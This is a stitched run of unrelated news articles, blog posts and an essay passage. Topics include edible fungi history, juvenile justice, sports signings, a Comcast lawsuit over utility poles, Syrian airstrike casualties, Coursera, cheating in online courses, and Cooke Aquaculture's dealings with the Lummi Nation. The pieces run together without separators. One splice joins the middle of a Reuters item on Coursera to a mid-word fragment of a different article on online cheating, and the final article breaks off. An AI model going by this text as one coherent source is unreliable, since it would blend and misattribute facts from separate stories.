Fortunately, by the time Victoria had ascended the throne, someone had come to defend the virtues of these hidden riches in the form of Rev. Dr. Charles David Badham. Badham learned of the value of edible fungi whilst practising medicine in France and Italy, and, having noted the nutritive, culinary and economic benefits that they could offer – particularly to the most disenfranchised in society [19] – published A Treatise on the Esculent Funguses of England in 1847. The volume is informative and witty, and even if some of the information contained in it has been improved upon since, will still prove an interesting read to the amateur mycologist. In the volume, Badham notes how strange it is that we are so fearful of fungi when we regularly eat of a genus renowned for its poison, Solanaceae [20]. Badham definitively won my affection when bemoaning the fierce neglect of one of my favourite mushrooms, the cep, once affectionately known in this country as the Penny Bun: “the sweet, nutty-flavoured Boletus, in vain calling himself edulis where there was none to believe him” [21]. When I was little, there were few things I would look forward to more than when my uncle would turn up with jars of gold: porcini mushrooms preserved in rosemary-infused olive oil. Even today, there are few foods that are able to match the delight that they bring about in me. Luckily, the fate of fungi is slowly changing in the UK. The determined efforts of a few intrepid people, from Victorians and twentieth century Bohemians, to the UK’s rich and diverse immigrant populations of which I am a part, finally seem to be paying off. Only this year did Dr Paul Thomas harvest the first cultivated truffle in Leicestershire [22]. Hopefully our interest in these delicacies will encourage us to afford greater protections to the hedgerows and woodland in which they thrive, and will inspire us all to go in search of the more common place treats growing closer to home. [1] Bunyard, Edward A, and Lorna Bunyard, The Epicure’s Companion (London: J.M. Dent & Sons Ltd, 1937), p.120. [2] Gerard, John et al, The Herball, Or, Generall Historie Of Plantes (London: John Norton, 1597), p.1384. [3] Ibid., 1386. [4] Ibid. [5] Ibid., p.1385. [6] Phillips, Roger, and Lyndsay Shearer, Mushrooms And Other Fungi Of Great Britain And Europe (London: Pan Books, 1981), p.6. [7] Mabey, Richard, Food For Free (London: Collins, 2007), p.182. [8] Ibid. [9] Gerard, John et al., The Herball, Or, Generall Historie Of Plantes (London: John Norton, 1597). [10] Ibid. [11] Ibid., p.1387. [12] Kirby, Jimmy. ‘Creation Stories: Uniting Humanity To Educe A Holistic Understanding Of The African Worldview’, 31 St Annual National Council For Black Studies Conference (New York: Cornell University, 2007. 9). Aug 16 2015. [13] Demetrio, Francisco, Creation Myths Among The Early Filipinos, Asian Folklore Series (Tokyo), XXVII, 1968, p.56. [14] Lorenzo de’ Medici, Selve, in Opere, edited by Tiziano Zanato (Torino: Einaudi, 1992), p.457. [15] Tournefort, Joseph, Observations sur la naissance et sur la culture des champignons. Memoires de mathematique et de physique de l’Academie royale des sciences (Academie royale des sciences, 1707). [16] Shakespeare, William, and Cedric Thomas Watts, The Tempest (Ware: Wordsworth Editions Limited), 2004. 5.1: 3639. [17] Keats, John and John Barnard, Selected Poems: Keats (London: Penguin Classics, 2007), p.42. [18] Ibid., p.91. [19] Badham, David, A Treatise On The Esculent Funguses Of England (London: Lovell Reeve), 1863, p.viii. [20] Ibid., p.39. [21] Ibid., p.150. [22] ‘First UK-farmed truffle harvested’, BBC News, Aug 18 2015.Under the Juvenile Justice and Delinquency Prevention Act of 1974, the states agreed to humanize their often Dickensian juvenile justice systems in exchange for increased federal aid. This promising arrangement collapsed in the 1990s during hysteria about an adolescent crime wave that never materialized. The states intensified all kinds of punishments for children and sent large numbers to adult jails where, research has shown, they are more likely to be battered, traumatized and transformed into hard-core, recidivist criminals. Congress is in the process of reauthorizing the law, and it ought to bar the states from housing children in adult jails, except for the most heinous crimes. Sadly, the updated version of the law, recently introduced in the Senate, falls short of that goal. But it does include a number of farsighted measures that discourage the placement of children in adult jails during the pretrial period and expands protections for children charged as adults. The need for these measures is alarmingly evident in a report issued last year by the Campaign for Youth Justice, an advocacy group. The report found that as many as 150,000 people under the age of 18 are held in adult jails in any given year. More than half of young people who are transferred into the adult system are never convicted as adults — and many are never convicted at all. The Senate bill takes a comprehensive approach to these issues. It would considerably tighten rules aimed at keeping children out of adult jails during pretrial periods. Children arrested for truancy, running away or other offenses that would not be criminal if committed by an adult would not be placed in juvenile jail unless absolutely necessary. It also would require the states to work toward reducing racial and ethnic disparities in the juvenile justice system. It increases federal funding for technical assistance and for drug treatment, mental health care, mentoring and after-care programs that keep children out of the juvenile system in the first place. The bill advocates an evidence-based approach to hand out the money. Jailing and criminalizing young Americans causes a lot more crime than it punishes or prevents. This bill represents an important step toward rational and compassionate justice for troubled children.A season ending injury to Tiah Haynes has resulted in Fremantle adding Coastal Titans defender Brooke Whyte to their list ahead of Sunday’s clash against the Adelaide Crows at Fremantle Oval. The addition of Whyte ensures the club has 24 fit players to choose from during the NAB AFL Women’s competition. Senior coach Michelle Cowan said Whyte was on Fremantle’s radar during the draft period, and comes in as a hard-working versatile player. “Brooke’s trained with us for the last two weeks and was someone we looked at during the draft process, and was unlucky to miss out,” Cowan said. “We gave her some feedback and some key areas we’d like her to work on in regards to her game, and she’s worked hard and has gotten her opportunity. “We’re excited to have her on board as she gives us some versatility. She can play through the midfield as well as in the backline for us.” Whyte turns 27 the day before Sunday’s game, and boasts an impressive resume in women’s footy - representing Fremantle against West Coast at last year’s exhibition match, and both the Western Bulldogs and Melbourne in the recent exhibition series matches. Brooke Whyte in action for Fremantle at last year's exhibition game against West Coast Haynes, who dislocated her shoulder against GWS last Saturday in Blacktown, has joined Kim Mickle and Brianna Green on Fremantle’s long-term injury list - with all three ruled out for the season. Haynes will undergo surgery on her shoulder next week, while Mickle successfully underwent surgery on her knee on Wednesday night, and was discharged from hospital on Thursday morning. A Commonwealth Games Gold Medallist in javelin, Mickle remained upbeat about her future prospects in sport. “The leg’s back intact, this morning the surgeon told me it went really well,” Mickle said. “He’s really excited about what’s to come.” Mickle had a hybrid double-bundle knee reconstruction, which differs slightly from the most common knee reconstructions. This particular surgery helps Mickle keep her knee strong and recover in time for Mickle to be ready for the 2018 Commonwealth Games in the Gold Coast. While she still has high hopes for her athletics career, Mickle remains dedicated to Fremantle and her teammates. “You hear about people who ‘bleed purple’ but (my teammates) legitimately do,” Mickle said. “They’re amazing and to be a part of that group with what they’re doing now, I don’t want to leave that. “If I can lend a hand I will, and Michelle wants to get me to do some workshops with them, so I’ll still be around.”Spider-Man in the MCU leaves lots of options for Marvel/Sony Share: Wow, right? Spider-Man finally joins the MCU or is at least renting space there now after a deal I’m sure you’ve all read about by now between Sony & Marvel to allow everyone’s favourite (maybe second favourite as that Gwen girl is proving to be rather popular) wall crawler into the big Marvel movie toy box. So what does this mean from a storytelling universal integration point? Honestly, not a clue. But we can dream and if you’re dreaming may as well go big! I’m going to go over my top wishlist please god make this happen scenarios that could come from this new Marvel/Sony deal. They might not all be possible or even feasible but her a few days ago I’d have said the same thing about a deal like this even being made and look at us now collectively wetting ourselves in excitement knowing Spidey will one day be standing side by side with the Avengers on the big screen. Captain America: Civil War This is probably the most likely to happen in that we have Spidey make his debut during Civil War, in what is hopefully a very loose adaptation of a not so great story, setting up our new Spider-Man whomever they are helping to avoid the Uncle Ben is killed and it’s my fault story we all love and are sick of seeing. Maybe they don’t go full unmasking but just want New York’s premier vigilante to pick a side and give his support hoping to influence the public, I don’t know but I’m not a screen writer so I don’t have to figure it out either. The Larger Universe! We could start to see more Spider-Related character pop up in the MCU, J. Jonah Jameson could be introduced as the boss of Ben Urich in Daredevil should it get a second season, maybe the Daily Bugle could appear in AKA Jessica Jones that would be pretty sweet or and this one is my favourite Jessica Drew Agent of S.H.I.E.L.D. and sure that might seem out there but we have Mockingbird, Daisy Johnston and Sif is coming back so we know their not worried about powered agents being around too much. This of course is totally dependent on how the deal relates to TV & Netflix deals maybe he’s going to be movie only or other characters are conditional and have to be work out separately but it would be cool. Dark Reign! One of the best Marvel arcs in resent memory, Norman Osborn becomes head of S.H.I.E.L.D. renames it H.A.M.M.E.R. and tries to police the world with his Dark Avengers and unstable Thunderbolts teams it’s bonkers and highly entertaining. Now this isn’t a one movie/show deal if they wanted to do this really it would be a great base for their next overall story after Infinity War we already have S.H.I.E.L.D. in ruins, Civil War is coming it’s not impossible to think by the time they stop an angry insane evil space god from wrecking the world the public might be calling for a change in the way their ‘heroes’ do things: Enter Norman Osborn with his government funded H.A.M.M.E.R. agency and private Avengers team aka Dark Avengers setting the stage for the next set of movies where we can have our Avengers in totally new unfamiliar situations, no longer beloved by the world, viewed as outlaws and on the run. It would be a nice change of pace if nothing else. Spin-Offs! Assuming that all Spider based character are allowed to come out and play now we could see either spin-off movies or co-starring roles in other movies, I think it goes without saying that the Idea of Miles Morales or Spider-Gwen appearing in a movie has got some people pretty pumped and rightfully so or and just throwing this out there Jessica Drew joins the Captain Marvel cast as the best friend/team mate role that was such a hit in the last CM series. But there is also the issue of Sony’s already planned spin-off Sinister Six and never named female lead movie, what is to happen with them? My guess nothing their dead and gone along with the last movie series, the loss of Andrew Garfield would suggest they want a clean break with the somewhat mixed reception of the Amazing movies. The Clone Saga! Just kidding, nobody wants this So yeah we might have lost the perfect casting of Andrew Garfield and now we have to spend a few months of nervous anticipation waiting for an announcement and possible tears at said announcement (can’t be worse the Tobey Maguire if you ask me) but look on the bright side Spider-Man is going be part of the Marvel Cinematic Universe where he belongs where he should have been all along and that is just Spectacular.SACRAMENTO, Calif. - The Sacramento Kings today signed guard Marcus Williams, according to General Manager Vlade Divac. Per team policy, terms of the agreement were not disclosed. Entering his twelfth professional season, the 6-3, 209-pound guard was selected 22nd overall in the 2006 NBA Draft by New Jersey as a junior out of Connecticut. The Husky standout earned NBA Second Team All-Rookie accolades after accruing averages of 6.8 points (.395 FG%,.282 3pt%,.847 FT%), 2.1 rebounds, 3.3 assists and 16.6 minutes per game in 79 contests (two starts) for the Nets, including an invitation to the Rookie Challenge at the 2007 NBA All-Star Weekend. Williams also suited up for the Golden State Warriors (2008-09) and Memphis Grizzlies (2009-10) before embarking on a playing career overseas. Williams’ career features stops in the Puerto Rican League (BSN), where he garnered All-BSN First-Team honors in 2009 and a successful stint in Russia with Enisey Krasnoyarsk, helping guide his team to the playoffs for the first time in PBL history. His international resume includes experience playing in China (Jiangsu Dragons), Spain (Unicaja Malaga) and Serbia (Crvena Zvezda). The Big East Conference Most Improved Player in 2004-05, Williams posted 9.6 points and 7.8 assists per contest before leading Connecticut to the Elite 8 as a junior en route to averaging 20.0 points (.520 FG%,.560 3pt%,.960 FT%) to accompany 8.8 assists in the NCAA Tournament.Comcast yesterday sued the Nashville metro government and mayor to stop a new ordinance designed to give Google Fiber faster access to utility poles. Comcast's complaint in US District Court in Nashville (full text) is similar to one already filed by AT&T last month. Both ISPs are trying to invalidate a One Touch Make Ready ordinance that lets new ISPs make all of the necessary wire adjustments on utility poles themselves instead of having to wait for incumbent providers like AT&T and Comcast to send work crews to move their own wires. The ordinance was passed largely to benefit Google Fiber, which is offering service in Nashville but says that it hasn't been able to deploy faster because it is waiting to get access to thousands of poles. Nearly all the Nashville utility poles are owned either by the municipal Nashville Electric Service or AT&T. Because Comcast has wires on many of the poles, it has some control over how quickly Google Fiber can expand its network. When Google Fiber wants to attach wires to a new pole, it needs to wait for ISPs like Comcast to move their wires to make room for Google Fiber's. The Nashville One Touch Make Ready ordinance "permits third parties to move, alter, or rearrange components of Comcast’s communications network attached to utility poles without Comcast’s consent, authorization, or oversight, and with far less notice than is required by federal law and by an existing Comcast contract with Metro Nashville," Comcast's complaint said. Comcast asked the court to declare the ordinance invalid and permanently enjoin Nashville from enforcing it. The pre-existing Make Ready process "seek[s] to ensure that all providers can share available pole space cooperatively and safely, without interfering with or damaging any provider’s equipment or services," Comcast said. The new procedures mandated by Nashville "are so intrusive that, tellingly, Metro Nashville has wholly exempted its own utility pole attachments from the Ordinance’s coverage." Specifically, the ordinance exempts Nashville government pole attachments "that consist of cameras, radios, or any equipment used for emergency communications," and equipment used for traffic signals. Further Reading AT&T sues Louisville to stop Google Fiber from using its utility poles Nashville Mayor Megan Barry defended the ordinance in a statement to The Tennessean. “One Touch Make Ready has been litigated in the court of public opinion, and the public overwhelmingly supports this measure designed to speed up the deployment of high-speed fiber in Nashville," Barry said. "Now, we hope that this federal litigation is quickly resolved so that we can get on with the business of expanding access to gigabit Internet throughout Davidson County.” Nashville's ordinance says that the Federal Communications Commission's pole attachment orders do not address One Touch Make Ready rules, giving the metro government "the right to address one touch make ready within its boundaries." There is a similar fight going on in Louisville, Kentucky, where AT&T and Charter have both sued the local government to stop a utility pole ordinance. Google Fiber announced layoffs yesterday and will "pause" or end fiber operations in 10 cities where it was considering whether to build new networks. But the Alphabet-owned ISP said it would continue operations in Nashville and still plans to build a network in Louisville. UPDATE: Comcast contacted us after this story ran to provide the following statement:This article is over 3 years old Casualties of Moscow’s air war in support of President Assad include 792 civilians, among them 180 children Russian airstrikes kill over 2,300 in Syria, says human rights group Three months of Russian airstrikes in Syria have killed more than 2,300 people, a third of them civilians, a monitoring group has said. Russia began conducting its air war in Syria on 30 September in support of its embattled ally, President Bashar al-Assad. According to the Syrian Observatory for Human Rights, Moscow’s strikes on Syria have killed 2,371 people so far. The toll includes 792 civilians, among them 180 children. The raids killed 655 Islamic State fighters, which Russia says it is targeting along with “other terrorist groups”. Another 924 opposition fighters – ranging from US-backed rebels to members of al-Qaida’s Syrian affiliate and Isis rival the al-Nusra Front – were also killed in the Russian strikes. The Britain-based monitoring group has an extensive network of sources inside Syria. Russia, a US-led coalition and the Syrian airforce are all carrying out air raids in the country, but the Observatory differentiates between strikes based on the type of aircraft flown and the munitions used. Russia has come under growing criticism from rebels, human rights groups and the west for inflicting civilian casualties. Amnesty International last week said Russian raids had killed hundreds of civilians, many in targeted strikes that could constitute war crimes. US State Department spokesman Mark Toner echoed the accusations on Tuesday, saying Russian strikes have “killed hundreds of civilians, including first responders, [and] hit medical facilities, schools and markets”. More than 250,000 people have been killed since the Syrian conflict erupted in March 2011 with anti-government protests.I was not planning to eat an arepa early in my visit to Caracas, but last night things did not work out and had a couple of arepas. Here is the record so far for the price of an arepa with queso de mano at my favorite arepera: Nov. 17th. Bs 120 Dec. 7th. Bs. 156 Increase of 30% in three weeks Jan. 21st. Bs. 178.6 increase of 14.7% in six weeks Total increase 49.1% in nine weeks, I don’t even want to annualize it! The optimists would say inflation is slowing down. I imagine a Government official would even make a plot and show it. For now I keep measuring it and it does not look pretty. But, they are still delicious! Advertisements Share this: Twitter Facebook Pinterest Google Tumblr Like this: Like Loading...(Reuters) - Five prestigious U.S. universities will create free online courses for students worldwide through a new, interactive education platform dubbed Coursera, the founders announced Wednesday. Students and visitors sit in front of a fountain at Harvard University in Cambridge, Massachusetts September 21, 2009. REUTERS/Brian Snyder The two founders, both professors of computer science at Stanford University, also announced that they had received $16 million in financing from two Silicon Valley venture capital firms. Coursera will offer more than three dozen college courses in the coming year through its website at coursera.org, on subjects ranging from Greek mythology to neurology, from calculus to contemporary American poetry. The classes are designed and taught by professors at Stanford, Princeton, the University of California at Berkeley, the University of Pennsylvania and the University of Michigan. Coursera joins a raft of ambitious online projects aimed at making higher education more accessible and affordable. Many of these ventures, however, simply post entire lectures on the web, with no interactive component. Others strive to create brand-new universities from scratch. Founders Daphne Koller and Andrew Ng say Coursera will be different because professors from top schools will teach under their university’s name and will adapt their most popular courses for the web, embedding assignments and exams into video lectures, answering questions from students on online forums — even, perhaps, hosting office hours via videoconference. Multiple-choice and short-answer tests
ing new ways to catch folks like Mr. Smith. In the case of that student, the professor in the course had tried to prevent cheating by using a testing system that pulled questions at random from a bank of possibilities. The online tests could be taken anywhere and were open-book, but students had only a short window each week in which to take them, which was not long enough for most people to look up the answers on the fly. As the students proceeded, they were told whether each answer was right or wrong. Mr. Smith figured out that the actual number of possible questions in the test bank was pretty small. If he and his friends got together to take the test jointly, they could paste the questions they saw into the shared Google Doc, along with the right or wrong answers. The schemers would go through the test quickly, one at a time, logging their work as they went. The first student often did poorly, since he had never seen the material before, though he would search an online version of the textbook on Google Books for relevant keywords to make informed guesses. The next student did significantly better, thanks to the cheat sheet, and subsequent test-takers upped their scores even further. They took turns going first. Students in the course were allowed to take each test twice, with the two results averaged into a final score. "So the grades are bouncing back and forth, but we're all guaranteed an A in the end," Mr. Smith told me. "We're playing the system, and we're playing the system pretty well." He is a first-generation college student who says he works hard, and honestly, in the rest of his courses, which are held in-person rather than online. But he is juggling a job and classes, and he wanted to find a way to add an easy A to his transcript each semester. Although the syllabus clearly forbids academic dishonesty, Mr. Smith argues that the university has put so little into the security of the course that it can't be very serious about whether the online students are learning anything. Hundreds of students took the course with him, and he never communicated with the professor directly. It all felt sterile, impersonal, he told me. "If they didn't think students would do this, then they didn't think it through." Advertisement A professor familiar with the course, who also asked not to be named, said that it is not unique in this regard, and that other students probably cheat in online introductory courses as well. To them, the courses are just hoops to jump through to get a credential, and the students are happy to pay the tuition, learn little, and add an A. "This is the gamification of education, and students are winning," the professor told me. Of course, plenty of students cheat in introductory courses taught the old-fashioned way as well. John Sener, a consultant who has long worked in online learning, says the incident involving Mr. Smith sounds similar to students' sharing of old tests or bringing in cheat sheets. "There is no shortage of weak assessments," he says. He cautions against dismissing online courses based on inevitable examples of poor class design: "If there are weaknesses in the system, students will find them and try to game it." In some cases, the answer is simply designing tests that aren't multiple-choice. But even when professors assign papers, students can use the Internet to order custom-written assignments. Take the example of the Shadow Scholar, who described in a Chronicle article how he made more than $60,000 a year writing term papers for students around the country. Part of the answer may be fighting technology with more technology, designing new ways to catch cheaters. Countering the Cheaters When John Fontaine first heard about the Shadow Scholar, who was helping students cheat on assignments, he grew angry. Mr. Fontaine works for Blackboard, and his job is to think up new services and products for the education-software company. His official title is senior director of technology evangelism. "I was offended," he says. "I thought, I'm going to get that guy." So he started a research project to do just that. Blackboard's learning-management software features a service that checks papers for signs of plagiarism, and thousands of professors around the country use it to scan papers when they are turned in. Mr. Fontaine began to wonder whether authors write in unique ways that amount to a kind of fingerprint. If so, he might be able to spot which papers were written by the Shadow Scholar or other writers-for-hire, even if they didn't plagiarize other work directly. Advertisement "People tend to use the same words over and over again, and people have the same vocabulary," he says. "I've been working on classifiers that take documents and score them and build what I call a document fingerprint." The system could establish a document fingerprint for each student when they turn in their first assignments, and notice if future papers differ in style in suspicious ways. Mr. Fontaine's work is simply research at this point, he emphasizes, and he has not used any actual student papers submitted to the company's system. He would have to get permission from professors and students before doing that kind of live test. In fact, he's not sure whether the idea will ever work well enough to add it as a Blackboard feature. Mr. Fontaine is not the only one doing such research. Scholars at the Massachusetts Institute of Technology say they are looking for new ways to verify the identity of students online as well. Anant Agarwal is head of MIT's Open Learning Enterprise, which coordinates the university's MITx project to offer free courses online and give students a chance to earn certificates. It's a leading force in the movement to offer free courses online. One challenge leaders face is verifying that online students are who they say they are. A method under consideration at MIT would analyze each user's typing style to help verify identity, Mr. Agarwal told me in a recent interview. Such electronic fingerprinting could be combined with face-recognition software to ensure accuracy, he says. Since most laptops now have Webcams built in, future online students might have to smile for the camera to sign on. Some colleges already require identity-verification techniques that seem out of a movie. They're using products such as the Securexam Remote Proctor, which scans fingerprints and captures a 360-degree view around students, and Kryterion's Webassessor, which lets human proctors watch students remotely on Web cameras and listen to their keystrokes. Research Challenge Researchers who study testing are also working on the problem of cheating. Last month more than 100 such researchers met at the University of Kansas at the Conference on Statistical Detection of Potential Test Fraud. One message from the event's organizers was that groups that offer standardized tests, companies developing anticheating software, and researchers need to join forces and share their work. "Historically this kind of research has been a bit of a black box," says Neal Kingston, an associate professor of education at the university and director of its Center for Educational Testing Evaluation. "It's important that the research community improve perhaps as quickly as the cheating community is improving." There seems to be growing interest in such sharing, says James Wollack, an associate professor of educational psychology at the University of Wisconsin at Madison. "If you go on the Web and look, it's pretty clear that the people trying to game the system are learning from each other," he says. "Unless the testing industry also pools its resources, we're always going to be playing this game of catch-up." A revolution in education thanks to online courses could be in store, as Thomas L. Friedman recently predicted. But significant challenges remain, not least among them preventing Mr. Smith from fraudulently claiming an education that he didn't get. College 2.0 covers how new technologies are changing colleges. Please send ideas to jeff.young@chronicle.com or @jryoung on Twitter.Astronomy Picture of the Day Discover the cosmos! Each day a different image or photograph of our fascinating universe is featured, along with a brief explanation written by a professional astronomer. 2015 August 7 Full Moon, Full Earth Image Credit: NASA, NOAA/DSCOVR Explanation: The Moon was new on July 16. Its familiar nearside facing the surface of planet Earth was in shadow. But on that date a million miles away, the Deep Space Climate Observatory (DSCOVR) spacecraft's Earth Polychromatic Imaging Camera (EPIC) captured this view of an apparently Full Moon crossing in front of a Full Earth. In fact, seen from the spacecraft's position beyond the Moon's orbit and between Earth and Sun, the fully illuminated lunar hemisphere is the less familiar farside. Only known since the dawn of the space age, the farside is mostly devoid of dark lunar maria that sprawl across the Moon's perpetual Earth-facing hemisphere. Only the small dark spot of the farside's Mare Moscoviense (Sea of Moscow) is clear, at the upper left. Planet Earth's north pole is near 11 o'clock, with the North America visited by Hurricane Dolores near center. Slight color shifts are visible around the lunar edge, an artifact of the Moon's motion through the field caused by combining the camera's separate exposures taken in quick succession through different color filters. While monitoring the Earth and solar wind for space weather forcasts, about twice a year DSCOVR can capture similar images of Moon and Earth together as it crosses the orbital plane of the Moon.Chennai-based online hotel room aggregator Stayzilla is shutting down operations owing to tougher competition from bigger rivals and a tighter business environment. The company which started in 2005 and raised about USD 33 million in funding was one of the earliest hotel room aggregators much before GoStays, Oyo Rooms, Airbnb and Treebo entered the market. In a blog post, Stayzilla CEO and founder Yogi Vasupal wrote this: “I would like to announce today that we would be bringing to a halt the operations of Stayzilla in its current form. This has been one of the toughest decisions that I have taken so far but it is the right thing to do.” Vasupal had started the company as a dropout straight out of college in 2005. “The hardest part is saying goodbye to a perfect team that has accomplished a lot by putting Homestays on the map of India. Whatever and how much ever I write about them is not going to do justice to their commitment,” he wrote. The company was funded by Nexus Venture Partners, Matrix Partners India, Indian Angel Network, Spice Capital and InnoVen Capital. Stayzilla is just one of the internet firms to lay off people this year. Others include Snapdeal, Quikr and Ola. As the funding environment becomes tougher, the year 2017 is expected to see more such consolidation in the first half.KYODO NEWS - Sep 28, 2017 - 15:03 \| Lifestyle, All Gypsy, the world's oldest Bornean orangutan in captivity, has died at the age of 62 at a Tokyo zoo due to acute heart failure, the zoo operator said Thursday. The female orangutan, which was brought to the Tama Zoological Park in western Tokyo from Borneo in 1958, has been treated since she was found bleeding from the mouth in early August but died on Wednesday, according to the zoo operator. (Tokyo Zoological Park Society) The primate's whole body was anesthetized on Wednesday afternoon to carry out the inspection and treatment of the cavity in her month, but her condition worsened after regaining consciousness, the zoo said. Gypsy came to the zoo the same year it opened and gave birth to four babies. As of the end of 2016, a total of 33 Bornean orangutans have been reared in Japan and 16 of those are related to Gypsy. The average life-span of the orangutans is 50 years. According to the World Wildlife Fund, there are two types of orangutans, Bornean and Sumatran, and both are said to be a critically endangered species.3 pm: This post has been updated. When big banks have announced settlements with the Securities and Exchange Commission, we’ve put those agreed-upon fines into perspective, and have often found that even millions of dollars in fines aren’t too hard for these big financial firms to shell out. Judges, increasingly, seem to agree. This week, a federal judge even called a $298 million settlement between U.S. prosecutors and Barclays—the U.K.’s second largest bank—“a sweetheart deal,” asking prosecutors, “Why isn’t the government getting tough with the banks?” Barclays was accused of altering financial records to hide that it was breaking U.S. sanctions in trades with Iran, Cuba, Sudan, Libya and Burma from 1995 through 2006. Its deal with the Justice Department would help it avoid prosecution, according to The Wall Street Journal, but the judge has ordered that the lawyers return to court today to address his concerns about the settlement’s leniency. A federal lawyer argued on Tuesday that the settlement is “in excess of what the company earned” when it processed the trades from the sanctioned countries, Bloomberg reported; Barclays declined to comment. Earlier this week, another federal judge rejected a $75 million settlement between Citigroup and the SEC. Citigroup was accused of hiding its exposure to more than $40 billion in subprime CDOs. As we’ve noted, under its agreement with the SEC, it would’ve paid a $1 fine for every $500 worth of hidden exposure. The judge demanded additional information from both parties and scheduled another hearing in September, reported The Washington Post. Last year, a judge also took issue with a $33 million SEC settlement with Bank of America over the bank’s disclosure of bonuses paid to Merrill Lynch employees before Merrill was taken over by BofA. The judge grudgingly approved the settlement when it was quintupled to $150 million, but still called it “half-baked justice at best,” reported The New York Times. Update, 7/18: In today's hearing, the judge approved the $298-million settlement between Barclays and the Justice Department. Despite approving the settlement, U.S. District Court Judge Emmet G. Sullivan continued with his criticism, reported the Journal: "It's proceedings like these that raise concerns in the public's mind about fairness and justice."Cooke Aquaculture offered the Lummi Nation a premium price for the fish it caught that had escaped from Cooke pens, in exchange for keeping silent about a ban on net pen Atlantic salmon farms in Washington. The tribe called the offer “insulting.” Cooke Aquaculture offered to pay a premium price for Atlantic salmon caught by the Lummi Nation after a major spill from the company’s Cypress Island fish farm if the tribe would not advocate getting rid of net pen aquaculture. The tribe tartly rejected the offer. “Your demand to keep quiet for a few extra dollars is insulting,” Timothy Ballew II, chairman of the Lummi Indian Business Council, responded in a Sept. 14 letter. Nell Halse, vice president for communications for Cooke, said Wednesday the offer “was not an attempt to muzzle or insult the Lummi Nation, but rather an effort to negotiate toward common ground and respect the interests and concerns of both parties at the table …” One of the company’s three fish farms at Cypress Island in the San Juans collapsed the weekend of Aug. 20, releasing an estimated 105,000 fish into the water just as native Pacific salmon were returning to their spawning ground. Lummi fishermen recovered the lion’s share of the fish on the loose after the tribe launched an emergency fishery. Going on behind the scenes ever since have been negotiations by the company with tribal and nontribal fishers and firms involved in the cleanup effort. Lummi told Cooke in a Sept. 11 letter that the company’s initial offer of $30 per fish doesn’t begin to cover the tribe’s cost for staff, paying its fishermen and related expenses. The company agreed to pay more — but there were strings attached, letters between Cooke and the tribe show. Glenn Cooke, company co-founder and CEO, proposed in a Sept. 13 letter to Ballew paying $42 per fish, instead of $30, “ … subject to agreement between the parties that neither party would use the facts surrounding this escape to advocate for a phase out or ban of net pen aquaculture” until a study could be done to evaluate the impacts of the fish escape. The privately held, family-owned company based in New Brunswick, Canada, is one of the world’s largest aquaculture operations, with nearly $2 billion in revenue a year and operations in multiple countries. It spent $500 million this week to buy Omega Protein of Houston, a fishing company that also makes products such as fish oil and fish meal, and it also owns Icicle Seafoods, which it acquired along with all of the company’s eight fish farms in Washington in 2016. Cooke eventually paid the Lummi Nation $1.3 million — $30 a fish. In addition to the deal it offered the Lummi Nation, worth an extra $521,000, Cooke said it would fund a study “to evaluate impacts that may arise from the escape of fish into your tribal waters.” The study was tied to the company’s offer of a higher price if the tribe would not advocate for a ban on net pens. “We felt it was appropriate to request that Lummi Nation agree to a temporary hiatus on seeking a ban of our operations until the scientific results of our proposed study were available to determine the true impact of the farmed fish on native fish,” Halse wrote in an email to The Seattle Times. The company also offered to fund for two years a full-time position in the tribe’s natural-resources department, and it concluded with an offer to “explore and implement economic partnerships that would be very beneficial to your tribal members, in the form of jobs and revenue, potentially with a total economic benefit that exceeds $1 million annually to the members of your tribe.” Conciliation, business Cooke started early in its attempts to strike a conciliatory tone with the tribe. In an Aug. 30 letter while the Lummi’s emergency fishery was still on, the company wrote Ballew: “As harvesters of salmon, we have much in common, we believe that our company and your people would benefit greatly from an exchange of ideas, values, and technical expertise about our shared enterprise. “We are prepared to pay a visit to your ancestral lands … we would be delighted to host you on a tour of our sites in Scotland, or Maine or the East Coast of Canada to introduce you to our farmers and see how our systems operate. “We will continue to identify ways that Cooke Aquaculture Pacific can be a productive partner with the Lummi Nation. Salmon is important to us. But to you we genuinely understand that salmon is much more. Salmon is sacred. It is life. It is sustenance. It is your ancestral tradition, your tribal mythology, your living culture and your promise to the future. Cooke Aquaculture honors this, and seeks to understand it even more in the weeks and months and years ahead.” The tone was more businesslike in Cooke’s letter of Sept. 13, demanding an accounting of the tribe’s costs if Cooke was to pay more with no agreement from Lummi to go quiet on opposition to fish farms. Ballew fired back Sept. 14: “Perhaps we should take this opportunity to recap how we got to this place. You failed to ensure that your facility was operated in a responsible manner. You failed to comply with your Aquatic Lands Lease. You failed to comply with the provisions of your (Ecology) permit and you failed to comply with your Fish Escape Prevention Plan. And then you attempted to blame the spill on high tides associated with the solar eclipse. Do you really think that you are in any position to question our veracity? “ … To be perfectly clear, the Lummi Nation is not willing to be muzzled for an additional $12 per fish.” Ballew, in an interview, said he chose to make the letters public because the company had made it sound in its public statements that it made its eventual payment of $1.3 million “out of the goodness of their heart.” “They are purporting it to be a good-faith gesture when in all reality it is their responsibility to clean up this mess,” Ballew said. After the escape, which is still under state investigation, Gov. Jay Inslee had called on Cooke to capture the escaped fish — or pay others to do it for them. “ … I believe the company must do everything it can to stop any additional escapes and to recover as many fish as possible, including adequate compensation for those working to remove Atlantic salmon from our waters,” Inslee stated in a news release. Ecology regards Atlantic salmon as a pollutant in state waters; unauthorized releases are punishable by fines. In a fish-escape recovery plan filed with the state as a condition to operate, Cooke also committed to recapture escaped fish using company skiffs and seines, and/or enlisting tribes or contracting and hiring commercial fishing-boat operators. In accepting what it called a meager offer from Cooke, the Lummi did not waive any other avenues to attempt to seek compensation for damages, Ballew noted in a letter Sept. 11, including a possible lawsuit. The tribe is still incurring costs and assessing damage, Ballew said. “In an effort to attempt to mitigate the damages caused by your failure to maintain your facility, we have incurred significant expenses, and will continue to incur significant expenses well into the future,” Ballew wrote Cooke. Fish turned to fertilizer Far from taking the company’s deal, the Lummi have helped lead a charge, now unanimous among Western Washington tribes with treaty-protected fisheries, to shut down net-pen Atlantic salmon aquaculture in Washington. Meanwhile the company is building up its Washington fish-farm business, moving 1 million more Atlantic salmon to its Clam Bay farm near Bainbridge Island, and bringing nearly 2 million more Atlantic salmon eggs to its Rochester hatchery, with permits granted by the state Department of Fish and Wildlife since the spill. The permit to bring the eggs to the company’s land-based hatchery was granted Tuesday and the permit to move more Atlantic salmon to open water net pens was granted Oct. 2. Meanwhile negotiations are still underway between the company and tribes over the spill. Halse said the company, so far, has paid $1.5 million to tribes involved in the recovery effort, including the Lummi. She said the company offered the same $30-per-fish bounty to each tribal nation, in addition to offering to fund a full-time position on their natural-resource staffs. However, Riley Starks, who is nonnative, said the company has stiffed his firm for the roughly 2,000 Atlantic salmon his company, Lummi Island Wild, helped recover as a tender to 